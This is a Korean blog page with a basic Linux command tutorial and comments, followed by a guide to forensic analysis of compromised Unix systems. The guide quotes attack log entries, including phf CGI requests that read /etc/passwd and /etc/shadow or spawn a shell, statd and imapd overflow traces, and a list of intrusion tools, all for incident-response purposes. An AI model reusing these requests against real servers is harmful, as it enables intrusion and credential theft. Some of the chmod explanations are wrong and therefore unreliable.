여러개의 화일을 올리고 내릴때 (put,get과 사용법동일)

chmod

화일 permission 변경

리눅스에서는 각 화일과 디렉토리에 사용권한을 부여.

예) -rwxr-xr-x   guestbookt.html
rwx  :처음 3개 문자 = 사용자 자신의 사용 권한
r-x  :그다음 3개 문자 = 그룹 사용자의 사용 권한
r-x  :마지막 3개 문자 = 전체 사용자의 사용 권한

읽기(read)---------- 화일 읽기 권한
쓰기(write)---------- 화일 쓰기 권한
실행(execution)---------- 화일 실행 권한
없음(-)---------- 사용권한 없음

명령어 사용법
chmod [변경모드] [파일]

# chmod 666  guestbook.html
    : test.html 화일을 자신에게만 r,w,x 권한을 줌

# chmod 766  guestbook.html
    : 자신은 모든 권한을 그룹사용자와,전체사용자에게는
      읽기와 쓰기 권한만 줌

alias

" doskey alias" 와 비슷하게 이용할 수 있는 쉘 명령어 alias는 말그대로 별명입니다. 사용자는 alias를 이용하여 긴 유 닉스 명령어를 간단하게 줄여서 사용할 수도 있습니다.
이들 앨리어스는 [alias ls 'ls -al'] 같이 사용하시면 되는데, 한 번 지정한 alias를 계속해서 이용하시려면, 자신의 홈디렉토리에 있는
.cshrc(Hidden 속성)을 pico등의 에디터를 이용하여 변경시 키면 됩니다.

cat

파일의 내용을 화면에 출력하거나 파일을 만드는 명령( 도스의 TYPE명령)

# cat filename

more

cat 명령어는 실행을 시키면 한 화면을 넘기는 파일일 경우 그 내용을 모두 볼수가 없다. 하지만 more 명령어를 사용하면 한 화면 단위로 보여줄 수 있어 유용.

# more <옵션>
옵션은 다음과 같습니다.

Space bar : 다음 페이지
Return(enter) key : 다음 줄
v : vi 편집기로 전환
/str : str 문자를 찾음
b : 이전 페이지
q : more 상태를 빠져나감
h : 도움말
= : 현재 line number를 보여줌

who

현재 시스템에 login 하고 있는 사용자의 리스트를 보여줍니다.

# who

whereis

소스, 실행파일, 메뉴얼 등의 위치를 알려줍니다

# whereis perl : perl의 위치를 알려준다

vi,
touch,
cat

새로운 파일을 만드는 방법

# vi newfile :  vi 편집기 상태로 들어감
# touch newfile : 빈 파일만 생성됨
# cat > newfile  : vi 편집기 상태로 들어감, 문서 작성후 Ctrl+D로 빠져나옴

cat,
head,
tail

파일 내용만 보기

# cat filename         : 파일의 내용을 모두 보여줌
# head -n filename : n줄 만큼 위세서부터 보여줌
# tail -n filename     : n줄 만큼 아래에서부터 보여줌


■ 압축명령어 사용법

압축 명령어

사 용 법

tar .tar, _tar로 된 파일을 묶거나 풀때 사용하는 명령어
(압축파일이 아님)

# tar cvf [파일명(.tar, _tar)] 압축할 파일(또는 디렉토리): 묶을때
# tar xvf [파일명(.tar, _tar)]  :  풀 때
  (cf) cvfp/xvfp 로 하면 퍼미션 부동
compress 확장자 .Z 형태의 압축파일 생성

# compress    [파일명]     : 압축시
# uncompress [파일명]    : 해제시
gzip 확장자 .gz, .z 형태의 압축파일 생성

#  gzip     [파일명]    : 압축시
#  gzip -d [파일명]   : 해제시
기타 .tar.Z
이것은 tar로 묶은 후에 compress를 사용하여 압축한 것으로 uncompress를 사용해서 압축을 푼 다음,
다시 tar를 사용해서 원래의 파일들을 만들어내면 됩니다.
아니면 다음과 같이 한 번에 풀 수도 있다.
# zcat  [파일명].tar.Z  : 해제시

.tar.gz또는 .tar.z
# gzip -cd [파일명]    : 해제시

.tar.gz 또는 .tar.z .tgz
gzip을 사용해서 푼 다음 다시 tar를 사용해서 원래 파일을 만들어 낼 수 있으나,
하지만 다음과 같이 하면 한 번에 처리를 할 수 있다.

# gzip -cd 파일.tar.gz | tar xvf -  또는
# tar xvzf 파일.tar.gz
# tar xvzf 파일.tgz

■ 리눅스 필수명령어

Linux/Unix 명령어

설 명

MS-DOS 비교

./x

x 프로그램 실행
(현재 디렉토리에 있는 것)

x

↑/ ↓

이전에(↑) / 다음에(↓) 입력했던 명령어

doskey

cd x (또는 cd /x)

디렉토리 X로 가기

cd

cd .. (또는 cd ../ 또는 cd /..)

한 디렉토리 위로 가기

cd..

x 다음 [tab] [tab]

x 로 시작하는 모든 명령어 보기

-

adduser

시스템에 사용자 추가

/

ls (또는 dir)

디렉토리 내부 보여주기

dir

cat

터미널 상의 텍스트 파일 보기

type

mv x y

파일 x를 파일 y로 바꾸거나 옮기기

move

cp x y

파일 x를 파일 y로 복사하기

copy

rm x

파일 지우기

del

mkdir x

디렉토리 만들기

md

rmdir x

디렉토리 지우기

rd

rm -r x

디렉토리 x를 지우고 하위도 다 지우기

deltree

rm p

패키지 지우기

-

df (또는 df x)

장치 x의 남은 공간 보여주기

chkdsk ?

top

메모리 상태 보여주기(q는 종료)

mem

man x

명령어 x에 관한 매뉴얼 페이지 얻기

/

less x

텍스트 파일 x 보기
(리눅스에서는 더 많은 필터 적용 가능)

type x | more

echo

어떤 것을  echo 화면에 인쇄한다.

echo

mc

UNIX를 위한 노턴 커맨더

nc

mount

장치 연결(예: CD-ROM, 연결을 해제하려면 umount)

-

halt

시스템 종료

-

reboot ([ctrl] + [alt] +[del])

시스템  다시 시작하기

[ctrl] + [del] + [del]

■ 고급명령어

고급 명령어

chmod <권한> <파일>

파일 권한(permissions) 변경

ls -l x

파일 x의 자세한 상황을 보여줌

ln -s x y

x에서 y로 심볼릭 링크를 만들어 줌

find x -name y -print

디렉토리 x안에서 파일 y를 찾아서 화면에 그 결과를 보여줌

ps

지금 작동중인 모든 프로세스들을 보여줌

kill x

프로세스 x를 종료 (x는 ps 명령으로 알 게 된 PID)

[alt] + F1 - F7

터미널 1-7까지 바꾸기 (텍스트 터미널에서; F7은 X-윈도우(시작될때))

lilo

부트 디스크를 만듦

용어


symlink

다른 파일이나 디렉토리로 심볼릭 링크. 윈도유98의 바로가기 같은 것

shell script

여러 명령어들을 차례로 수행하게 한 것. MS-DOS의 배치 파일 같은 것

"Unix & Linux" 카테고리의 다른 글
  • 리눅스 명령어 (6)2007/07/11
  • 왜 리눅스 커널을 알아야 하는가? (0)2007/05/04
  • [처음부터 다시 배우는 리눅스] ③ vim 편집기 활용법 (0)2007/05/04
  • [처음부터 다시 배우는 리눅스] ② 고급 명령과 시... (0)2007/05/04
  • [처음부터 다시 배우는 리눅스] ① 설치와 기본 명... (0)2007/05/04
2007/07/11 00:11 2007/07/11 00:11
Posted by webdizen
Tags Linux, 리눅스, 명령어
No Trackback 6 Comments

Trackback URL : http://www.webdizen.net/blog/trackback/3072

Leave your greetings.

  1. 오상우

    난 아직도 이해가 잘 안되는데, eXecute와 Read권한이 틀린점이 정확히 뭐야?
    텍스트로 스크립트파일을 만들고 chmod -x [filename] 하는거랑 eXecute권한이랑 같은건가 생각도 했는데,
    실행파일 속성을 가지고 있으면, Readable한 것 만으로 실행 되어야하는 것 아닌가?
    예를들어 권한이 001 이면[ Read(x) Write(x) eXecute(o) ] 어떻게 되는겨?
    ## 몰라서 물어보는거임 -_-

    2007/07/11 04:59 [ Permalink : Modify/Delete : Reply ]
  2. webdizen

    chmod -x [filename]을 이용하실 경우 현재 권한에서 eXecute 권한을 모두 제거하게 됩니다.
    chmod +x [filename]을 이용하실 경우 위의 경우와 반대 상황이 됩니다.
    예를 들어 제시하신 chmod 001 [filename] 을 하실 경우에는 ---------x 이런 식으로 권한이 변경됩니다.

    Read 권한, eXecute 권한의 차이점은 일반 텍스트 파일의 경우에는 Read 권한으로 읽기가 가능하니, 별 문제가 없겠지만, 실행 파일의 경우에는 eXecute 권한이 필요하답니다.

    2007/07/11 09:57 [ Permalink : Modify/Delete : Reply ]
  3. 오상우

    또다른 질문.
    1. chmod +x [filename]은 모든 사용자분류 (Owner/Group/Other)의 eXecute 권한에(3번째 비트) 대해 +1(OR연산 -_-)
    즉, 전체 퍼미션 부분에 +001001001(2) 해주는 것과 같은건지? (논리회로... 아놔 -_-)
    2. 그렇다면 텍스트 파일에 Read권한이 없고 eXecute 권한만 있으면 cat [txt-file]을 때리면 내용이 보이는지?
    (아, 요건 이따 직접 해보면 되것구나 -_-)
    3. UNIX시스템은 MS-DOS처럼 확장자에 따라(*.exe *.com *.bat 등) 실행 파일이냐 아니냐를 따지는게 아니라,
    eXecute 퍼미션이 있으면 실행을 하는 건가?
    4. HTML, PHP, Java Script처럼 서버에 텍스트 파일로 존재하고, Client의 Parser, Interpreter등으로 동작하는
    웹언어들의 경우, Client의 Read권한만 있어도 eXecute가 가능한가?
    5. 위리플의 질문 다시하는건데, Read권한이 없고 eXecute권한만 있다고 해도 실행이 가능해?

    2007/07/11 17:05 [ Permalink : Modify/Delete : Reply ]
  4. webdizen

    오상우님의 질문에 대한 답변
    1. chmod +x [filename]와 동일한 명령어는 chmod 111 [filename]에 해당합니다. 말씀하신 것과 같이 실제적인 bit는 0001001001이 됩니다.
    2. 텍스트 파일에 Read권한이 없고 eXecute 권한만 있을 경우 cat 명령어가 Permission denied 오류를 내면서 읽어지지 않습니다. 당연한 결과로 텍스트 파일에는 Read 권한이 있어야 볼 수 있는 이치죠.
    3. UNIX 시스템은 MS-DOS와 달리 확장자 개념이 없지만, 실행파일의 경우 eXecute 권한이 없으면 실행이 당연히 안된답니다.
    4. HTML, PHP, Java Script 처럼 서버에 텍스트 파일로 존재하는 파일들은 당연히 웹 언어로 작성된 텍스트 파일이라는 것을 염두하신다면 eXecute 권한이 아니라 Read 권한이 필요하다는 것을 알 수 있습니다.
    5. Read권한이 없고, eXecute 권한만 있다면, 웹 브라우저 상에서 Permission denied 오류가 발생합니다.

    2007/07/12 00:47 [ Permalink : Modify/Delete : Reply ]
  5. 후미후

    후홧 옛날 기억이 새록새록 납니다.^^ 올만에 이수안님 블로그 들려서 웃고 갑니다.

    2008/05/07 09:50 [ Permalink : Modify/Delete : Reply ]
    • webdizen

      하핫; 웃고 가신다니 저도 즐겁네요...

      2008/05/12 20:42 [ Permalink : Modify/Delete ]
[로그인][오픈아이디란?]

Security2007/07/06 17:50

Unix/Linux 해킹 피해 시스템 분석 절차

출처 : 시스템 로그 분석 (해킹 피해와 보안 추적의 결정적 파일) - 안성철
(안성철님께 허락을 구하지는 않았고, 삭제를 요청할 시 바로 삭제 조치 하겠습니다.)


1. 해킹 피해 시스템 분석 절차


1.1 시스템 침입 흔적 조사 방법
특별한 장소 또는 행위로부터의 접속에 대한 로그 파일을 조사한다.
  • last, syslog, 프로세스 로그와 그 밖에 다른 로그 파일을 조사한다.
  • access-log, xferlog 등 주요 서버의 로그 파일을 조사한다.
  • 방화벽 또는 라우터에 의한 로그 기록이 있을 경우 조사한다.
  • 유닉스에서 기본적으로 제공하는 로그 파일들을 조사한다.
    • /var/adm/messages 콘솔 상에 있는 정보
    • /var/adm/utmp(x) 현재 로그인 한 사용자 정보
    • /var/adm/wtmp(x) 사용자의 로그인, 로그아웃
  • 시스템의 shutdown, start up 정보를 조사한다.
    • /var/adm/lastlog 사용자의 최근 로그인 관련 정보
    • /var/adm/acct 사용자의 command 정보
예) 시스템 공격에 따른 각종 로그 예

imap/ipop 공격 로그 : message 로그 파일
Dec 5 11:57:50 www ipop3d[933]: connect from xxx.xxx.124.104
Dec 5 11:57:54 www ipop3d[934]: connect from xxx.xxx.124.104
======================================================================
Jun 22 10:03:07 ns imapd[447]: command stream end of file, while reading
line user=??? host=dialup187-2-45.xxx.xxx.xxx
Jun 15 15:10:40 ns imapd[14943]: Login failure
user=^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P^P
^P^P^P^P^P^P^P^P host=irv-ca48-32.xxx.xxx.xxx

mscan 공격 로그 : secure 로그 파일
Jun 27 20:49:29 ns in.telnetd[12918]: connect from xxx.xxx.50.76
Jun 15 03:39:28 ns imapd[14020]: connect from xxx.xxx.94.85
Jun 15 10:15:07 ns in.ftpd[14169]: connect from xxx.xxx.250.76
...

statd 공격 로그 : message 로그 파일
May 9 07:08:14 hosim statd[191]: attempt to create "/var/statmon/sm//../../../../
../../../../../..//../../../../../../../../../../../../../../../../../../../../..
/../../../../../tmp/.nfs09 D H $ $ $ $
O * * * # # P * c 6 )
# # ; # XbinXsh tirdwr "

WWW 관련 공격 로그 : access-log 로그 파일
xxx.xxx.ter.net - - [27/Mar/1998:06:12:08 +0900] "GET /cgi-bin/phf?Qalias=x%0a
/bin/cat%20/etc/passwd HTTP/1.0" 200 7360
xxx.xxx.xxx- - [04/May/1998:04:17:38 +0900] "GET /cgi-bin/phf?Qalias=x%0a
/bin/cat%20/etc/shadow HTTP/1.0" 200 92
xxx.xxx.xxx0- - [08/Jun/1998:09:17:14 +0900] "POST /cgi-bin/phf?Qname=x%0a
/bin/sh+-s%0a HTTP/1.0" 200 82

setuid, setgid 파일을 조사한다.
  • 침입자는 종종 추후에 루트 권한으로 접속하기 위해 /bin/sh 또는 /bin/time 과 같은 백도어 파일을 남겨둔다.
  • 다음의 방법으로 setuid, setgid 파일을 찾는다.
[Test: /]find / -user root -perm -4000 -print
[Test: /]find / -group kmem -perm -2000 -print

NFS/AFS 마운트 시스템에서는 다음과 같은 명령어를 이용한다.
[Test: /]find / -user root -perm -4000 -print -xdev
  • setuid 파일을 찾는 다른 방법으로 각각의 파티션에 대해 적용하는 ncheck가 있다.
[Test: /]ncheck -s /dev/rsd0g

시스템의 바이너리 파일 변경 여부를 조사한다.
  • 침입자는 /etc/inetd.conf가 참조하는 다음과 같은 파일들을 변경한다.
    login, su, telnet, netstat, ifconfig, ls, find, du, df, libc, sync 등
  • 백업된 초기 파일과 현재의 파일을 비교하기 위한 유닉스의 sum 명령어는 트로이 목마 프로그램에 의해 거짓 정보를 나타낼 수 있으므로 다음 프로그램을 사용한다. cmp, MD5, Tripwire 등 다른 암호화 검사 유틸리티들 인가받지 않은 프로그램 및 네트워크 모니터링 프로그램의 사용을 조사한다.
  • 침입자는 사용자의 계정과 패스워드 정보를 얻거나, 자신의 존재를 숨기거나, 또 다른 시스템을 공격 하기 위해 다양한 프로그램 피해 시스템을 설치하여 사용한다.
killinetd : 원격지 호스트의 inetd 데몬을 다운시켜서 네트워크 서비스 방해
imap, imap2 imap : 데몬 오버플로우 원격지 공격 프로그램
imapver imap : 데몬버전의 원격점검 프로그램
netcat : 범용 네트워크 해킹도구
brute.sh imap : 취약점 공격 시 사용되는 보조 프로그램
z0ne : 특정 도메인의 수많은 IP를 찾아내는 프로그램
sniffer : 스니퍼 프로그램
linux rootkit : 백도어 모음(chfn, chsh, inetd, login, ls, du, ifconfig, netstat, passwd, ps, top, rshd, syslogd, tcpd 등)
phfscan phf.cgi : 취약점 스캐너
nmap : 각종 기능을 추가한 포트 스캐너
chkexploit : linux의 각종 시스템 취약점을 찾아내는 스캐너
eipscan : network 레벨의 IP 스캐너
ADMfindall : network 레벨의 IP 스캐너
lsp : network 레벨의 포트 스캐너
imapvun : imap 취약점 스캐너
imapd_scan.sh : imap 취약점 스캐너
mscan : imapd, ipopd, statd 등 여러 취약점을 찾아내는 취약점 스캐너
기타 : sirc, ipw, ircbnc, login, icat, ts2, tt, mendax, phf, s, sirc4, bcast3, bips, boink, bonk, bonk2, ck, fear, frag, jolt, killwin, land, nestea, newteardrop, ns, smurf, ssping, tear2, teardrop 등

cron과 at.으로 수행되는 모든 파일을 검사한다.
  • 침입자는 보통 cron과 at 명령으로 수행되는 파일들에 백도어 프로그램을 남겨둔다. 그러므로 이러한 프로그램으로 수행되는 파일들을 쓰기금지로 설정한다.
인가받지 않은 서비스를 조사한다.
  • /etc/inetd.conf를 조사하여 인가받지 않은 추가되거나 변경된 서비스를 조사한다. 특히 쉘을 수행 할 수 있는 /bin/sh나 /bin/csh를 조사한다. /etc/passwd 파일을 조사하여 변경된 부분이 있는지 확인한다.
  • 추가된 계정, 패스워드의 생략, uid(0로의)의 변경여부를 확인한다.
시스템과 네트워크 설정 파일의 인가받지 않은 항목을 조사한다.
  • /etc/hosts.equiv, /etc/hosts.lpd와 모든 .rhosts 파일에 '+' 항목이 있는지 조사해서 제거한다.
    시스템에 숨겨지거나 '.' 으로 시작하는 특이한 파일이 있는지 조사한다.
  • ls 명령어로 보이지 않는 파일을 조사한다.
[Test: /]find / -name ".. " -print -xdev
[Test: /]find / -name ".*" -xdev | cat -v

일반적으로 '.xx' 파일이나 '.mail' 파일이 침입자에 의해 이용된다. 지역 네트워크의 모든 시스템을 조사한다.

1.2 침입자의 출발지 분석
침입자의 출발지는 어떻게 확인할 수 있을까? 정확하게 위치를 추적하기는 힘들더라도 개략적인 위치는 시스템에서 제공하는 명령어로도 확인할 수 있다. 이러한 정보를 확인하기 위해서는 다음과 같은 명령어를 이용하여 정보를 검색하면 된다.
  • who, w : 사용자 및 사용자의 컴퓨터 확인
  • last : 사용자들의 로그인/로그아웃 일시 기록 확인
  • lastcomm : 사용자들의 시스템 명령 및 프로세스 기록 확인
  • netstat : 네트워크 접속 현황 확인
  • snmpnetstat : 네트워크 관리 시스템에서의 현황
  • 라우터 정보 : 라우터의 라우팅 및 접속 등의 현황 확인
  • /var/adm/messages : 전자우편 송수신 현황 기록 확인(많은 침입자들이 자신의 시스템으로 전자 우편 송신)
  • syslog : 시스템 로그 확인(다른 시스템으로도 로그를 보낸다)
  • wrapper 로그 : 외부 시스템 접속 차단 프로그램의 연결
시스템의 모든 사용자에게  finger를 하여 어디서 왔는지 점검

who, w, last, lastcomm은 /var/pacct, /usr/adm/wtmp의 기록을 보여주는데 침입자들은 백도어 프로그램을 이용하여 이 로그들을 수정하여 자신의 흔적을 지울 수 있다. 그리고 침입자가 아직 이런 백도어가 없다하더라도 아주 쉽게 이 로그들을 수정하거나 지울 수 있다. 하지만 가끔 침입자들은 로그를 삭제하지 않을 수도 있으며, 특히 추가적인 유닉스 로깅 프로그램을 설치한 경우에 더욱 그렇다.

1.3 ethernet sniffer로 다른 시스템에 어떻게 침입하는지를 모니터링 하는 것이 좋다.
xinetd나 tcp_wrapper는 외부에서의 모든 접속에 대해 로그를 남길 수 있으며, 침입자가 로그를 수정하거나 지울 수 없도록 이 로그들을 다른 시스템에 옮겨두는 것이 바람직하다. 적절한 대책을 세우기 전에 침입자가 ethernet sniffer로 다른 시스템에 어떻게 침입하는지를 모니터링 하자.

1.4 외부로부터 접속하는 시스템들을 막고 특히, 침입자의 접근을 막기 위해 네트워크를 중지시킨다.
하지만 만약 침입자가 눈치 챈다면 당신의 시스템에서 "rm -rf /"를 실행하여 모든 정보를 지울 수 있다.

1.5 시스템 실행 파일의 변경 유무를 점검하는데, 특히 백도어 프로그램으로 잘 이용되는 다음 프로그램들을 중점 점검한다.
  • /bin/login
  • 모든 /usr/etc/in.* files (예 : in.telnetd)
  • /lib/libc.so.* (on Suns)
  • inetd에서 호출되는 모든 것
기타 잘 교체되는 것으로서는 다음과 같은 것이 있다.
  • netstat : 정보를 감추게 한다.
  • ps : 프로세스를 감추게 한다(예 : Crack).
  • ls :  디렉토리를 감춘다.
  • ifconfig : 이더넷에 대한 promiscuity mode를 감춘다.
  • sum : sum을 수정하지 않고도 실행 파일의 체크썸을 올바르게 위장 할 수 있으므로 더 이상 교체하지는 않는다.
따라서 sum 값을 믿어서는 안된다. 파일의 실제 수정 시간을 알기 위해서는 "ls -lac"를 사용한다. /etc/wtmp를 점검하여 시스템 시간을 알아내고 CD나 테이프의 원본과 비교하거나 MD5 체크썸이 이전의 체크썸과 다른지 비교하며, 흔히 오프라인으로 저장된 미리 만들어진 체크썸과 cmp 명령으로 비교한다. 아울러 흔히 사용되는 백도어로서 /bin/time 과 같은 setuid 프로그램인데, 이들은 일반 사용자가 root로 실행할 수 있게 해준다. 이런 프로그램을 찾기 위해서는 다음 명령을 이용하면 된다.

[Test: /]find / -type f -perm -4000 -ls

하다보면 OS 전체를 다시 설치해야 될지도 모른다. Tripwire 보안도구는 관리자 몰래 실행 파일을 수정하거나 inetd.conf와 같은 시스템 파일의 수정을 발견할 수 있도록 도와준다.

1.6 모든 사용자의 .rhosts, .forward등을 점검한다. 만약 .rhosts가 "+"를 가지고 있으면 어떠한 시스템에서도 패스워드 체크없이 접근할 수 있다. COPS는 다음과 같은 체킹 스크립트를 가지고 있다.

[Test: /]find / -name, rhosts -ls -o -name .forward -ls

의심스러운 모든 파일의 생성 및 수정 시간을 점검하는데 다음을 이용한다.

[Test: /]find / -ctime -2 -ctime +1 -ls

이것은 이틀 전에서 하루 이후에 수정된 파일을 찾아준다. 모든 .login, .logout, profile, .cshrc들도 적어도 수정일 및 시간 등을 점검하며, .rhosts 파일이 잠궈진 것은 없는지, news, sundiag, sync 등의 계정에 대한 쉘이 보다 안전을 위해 "/bin/false"로 되어 있어야 하며 "/bin/sh" 등으로 되어 있어서는 안된다.

또한 ".", ".." 등의 디렉토리가 없는지 점검하는데 대부분 /tmp, /var/tmp, /usr/spool/* 나 공개적으로 쓰기 할 수 있는 디렉토리에서 많이 발견된다.

1.7 NFS가 외부로 널리 공개된 것은 아닌지 점검한다.
NFSwatch는 NFS 트랜잭션에 대해 로그를 만들어 주며, "showmount -e"를 하여 올바른 NFS 구성을 점검할 수 있도록 한다. 256 바이트를 넘긴 경우에 nfsd는 버그를 가지고 있으며, 또한 여러분이 마운트하고 있는 시스템에 대한 점검도 중요하다. 가능한 "nosuid" 플래스를 사용한다.

1.8 시스템 취약점이 있는지 점검하는 리스트
원하지 않는 프로세스가 없는지, "rpcinfo -p"를 이용하여 점검한다. hosts.equiv 에 "+"가 없는지 점검한다. tftp를 사용하지 않는가, 사용하기를 원한다면 "-s" 플래그를 사용한다. 이 경우는 대부분 디스크 없는 워크스테이션을 위한 경우인데, 적절하게 NFS를 이용할 수 있다. 이것을 root로 실행하지 않도록 하며, /etc/inetd.conf에서 다음과 같이 바꾼다. tftp dgram udp wait nobody /usr/etc/in.tftpd in.ftpd -s /tftpboot 혹은 원치 않는 곳에서의 접근을 막기 위해 tcp_wrapper에서 tftpd에 한 부분을 고치고 모든 접속 상황을 로그로 남긴다.

tfp dgram udp wait nobody /usr/etc/tcpd in.tftpd -s /tftpboot 혹은 /etc/hosts.allow에서 정의된 곳에서만 접근할 수 있도록 조정한다. crontab과 at-vobs를 점검한다. 침입자가 남긴 모든 것을 정리했다고 생각한 후 이것이 어떤 작업을 할 수 있다. rc.boot, rc.local(SYSV : /etc/rc?.d/*)나 기타 시스템 시작 시 실행 파일들을 점검한다.

가장 좋은 방법은 오프라인으로 저장했다가 주기적으로 점검하는 것이며, sendmail.cf, hosts.allow, at.allow, at.deny, cron.allow, hosts, hosts.lpd 등의 시스템 구성 파일들을 점검한다. "aliases"는 메일 확장을 위한 것인데, "uudecode" 등과 같은 것을 가지고 있을 수 있다. inetd.conf 와 /etc/services 파일에서 침입자가 추가한 불법 프로그램 서비스가 있는 지 점검한다. 현재 가지고  있는 모든 로그 파일(pacct, wtmp, lastlog, sulog, syslog, authlog 등)들을 다른 안전한 곳으로 옮긴다. /tmp/* 파일들을 먼저 살펴 본 후 재시동(Reboot)한다.

/etc/passwd 파일의 여분 파일을 가능한 디스켓 등으로 저장한 후 su 및 passwd 프로그램이 백도어가 아님을 확인한 후 root 패스워드를 바꾼다. 만약 침입자가 su나 passwd 백도어를 설치하였다면 /etc/passwd 파일의 패스워드 부분을 모두 "*"로 바꾼다.

또한 침입자가 패스워드 파일을 가지고 있다면 모든 사용자들의 패스워드를 알아낼 가능성이 있으며, 장시간 사용하지 않는 사용자의 패스워드를 바꿀 수도 있다. NIS 서버에서는 단순히 /etc/passwd 뿐 아니라 NIS 맵에 해당하는 것들도 점검해야 한다. 익명 FTP나 다른 네트워크 서비스 시스템들이 적절하게 구성되어 있는지 점검한다. inetd를 다시 설치하고, 콘솔만이 "secure" 단말로 정의하여 다른 단말에서 root로 로그인할 수 없도록 한다. hosts.equiv, .rhosts, hosts.lpd에 "#"이 있는지 점검한다. 만약 침입자가 "#"을 기계이름으로 정의하였다면 누구나 신뢰하는 호스트로 정의된다. 마지막으로 침입자에 대한 경각심을 늦추지 않는다.

2. 침해사고 분석 방법

2.1 관리자 관점에서의 분석
위의 예와 같이 침입자는 다양한 방법을 이용하여 시스템에 침입하여 불법작업을 수행한다. 관리자는 이러한 침입자의 행동을 모니터링 하는 것은 쉽지 않지만 침해사고가 발생할 경우 시스템이 가지고 있는 여러 로그기록을 이용하여 침입자 확인, 침입 방법, 침입자의 출발 호스트 등의 정보를 얻을 수 있다.

그리고 침입자들이 이용하는 웹 서버, imapd 등 서비스 취약점을 이용한 공격도 서버들이 기록하는 로그 기록을 분석할 수 있는 것이다. 여기에서 유닉스 기반의 시스템에서 제공되는 로그 정보 점검에 대해 예를 들어 설명하겠다.

■ 시스템 로그 파일
유닉스 시스템에는 다양한 로그 정보를 가진 파일과 관련 명령어들이 있다. 먼저 시스템 내의 로그 파일은 주로 /var/adm 디렉토리에 존재하게 되는데 필요에 따라 파일의 위치를 변경할 수 있다. /var/adm/ 파일들은 /var/adm/messages, /var/adm/utmp(x), /var/adm/wtmp(x), /var/adm/lastlog, /var/adm /logining, /var/adm/acct 등이 제공된다.

로그 파일 보유 정보
/var/adm/messages 콘솔 상에 있는 정보
/var/adm/utmp(x) 현재 로그인 한 사용자 정보
/var/adm/wtmp(x) 사용자의 로그인, 로그아웃, 시스템의 shutdown, start up
/var/adm/lastlog 사용자의 최근 로그인 관련 정보
/var/adm/acct 사용자의 command 정보

유닉스의 기본 로그 파일들이 가지고 있는 정보를 살펴보면 다음과 같다. /var/adm/wtmp(x)는 시스템 사용자의 접속 정보를 알 수가 있는 파일이다. 이는 last 명령어를 이용하여 정보를 볼 수 있는데 그 예는 다음과 같다.

userone ftp dialup77.xxx.xxx.xxx Sat Jun 27 00:43 - 01:43 (01:00)
userone ttyp1 dialup77.xxx.xxx.xxx Sat Jun 27 00:36 - 00:42 (00:06)
userone ftp xxx.xxx.147.46 Fri Jun 26 14:13 - 14:14 (00:00)
userone ttyp4 xxx.xxx.147.46 Fri Jun 26 14:11 - 14:12 (00:00)
quest0 ttyp4 xxx.xxx.147.46 Fri Jun 26 12:15 - 12:45 (00:29)
userone ttyp0 xxx.xxx.147.46 Mon Jun 22 17:25 - 17:25 (00:00)
hykim ttyp2 xxx.xxx.203.234 Mon Jun 22 17:24 - 17:25 (00:00)

위의 경우 userone은 평소 xxx.xxx.147.46 네트워크에서 접근을 하는데 비해 비정상적인 시간대에 dialup77.xxx.xxx.xxx 호스트에서 접근한 사실을 알 수가 있다. 이는 userone의 비밀번호가 누출이 되어 이상한 호스트에서 접근한 것을 알 수가 있는 것이다.

syslog 데몬을 이용하여 시스템 접속 오류 등에 대한 로그를 설정하였을 경우 messages 파일을 점검함으로써 불법적인 접근 시도가 있었는지도 살펴볼 수 있다. 이 역시 시스템 사용사으이 오류를 포함한 외부로부터의 불법적인 접근 등을 검사할 수 있다.

Jun 22 00:51:39 ns named[253]: starting. named 4.9.6-REL Tue Mar 31 13:41:12 EST 1998^lewt@xxx.xxx.com:/usr/src/redhat/BUILD/bind-4.9.6/named
Jun 22 01:01:37 ns named[253]: starting. named 4.9.6-REL Tue Mar 31 13:41:12 EST
1998^lewt@xxx.xxx.com:/usr/src/redhat/BUILD/bind-4.9.6/named
Jun 23 14:20:54 ns named[5334]: starting. named 4.9.6-REL Tue Mar 31 13:41:12 EST 1998^lewt@xxx.xxx.com:/usr/src/redhat/BUILD/bind-4.9.6/named

위의 경우는 외부로부터 named 버그를 이용하여 시스템에 침입하기 위한 침입자에 의해 named 데몬이 재시동되는 것을 알 수 있다. 이와 같이 다양한 로그 정보들을 검토함으로써 외부로부터의 불법적인 접근 시도 또는 접근 사실을 알 수 있다.

■ 주요 서버의 로그 정보 분석

- 웹 서버의 로그 정보 분석
관리자는 웹 서버의 로그 파일인 Access log나 error log 파일을 점검함으로써 외부 침입 자가 시스템 내의 중요 파일을 가져갔는지 알아보아야 한다. 주로 access_log, error_log 등은 /var/adm/httpd/logs와 같은 디렉토리에 존재하며, 이는 httpd 설치 시 사용자에 따라 설정할 수 있다. 다음은 xxx.xxx.com 으로부터 http 서버 phf 버그를 이용하여 패스워드 파일을 가져간 예이다.

xxx.xxx.com - - [16/Jun/1998:10:38:02 +0900] "GET /cgi-bin/phf?Qname=root%0Acat%20/etc/passwd HTTP/1.1" 200 114873

- IMAPD, POPD 로그 정보 분석
다음은 최근 개인 전자우편 관련하여 많이 사용하고 있는 Imapd(Popd)를 이용하는 방법이다. 이 방법은 데몬에 많은 데이터를 보내 버퍼오버플로우를 발생시켜 새로운 쉘(Shell)을 실행하는 방법으로써 /var/adm/messages 파일에서 알 수 있다.

다음 사례는 xxx.xxx.198.78 호스트에서 시스템의 Imapd로 접근한 내용을 보여주고 있다.

Jun 9 09:10:47 ns imapd[2662]: command stream end of file, while reading line user=??? host=xxx.xxx.198.78
Jun 9 09:10:56 ns imapd[2664]: command stream end of file, while reading line user=??? host=xxx.xxx.198.78

아래 표에서는 위에서 언급한 해킹 방법들로 해커들이 공격했을 경우에 어떠한 시스템 로그나 서버 로그를 점검해야 하는지를 요약해 놓았다.

해킹 방법 utmp
wtmp
access_log messages news
log
su
log
secure
log
spooler
log
syslog 비고
SPAM relay






O

popd

O


O



imapd

O


O



named

O






innd


O


O


identd

O






phf/php 등 CGI
O







portscan







모니터링
mscan

O






su 시도

O

O




원격 login 시도
O

O


O



원격 ftp 시도
O

O


O



서비스 거부







모니터링

2.2 공격자 관점에서의 분석
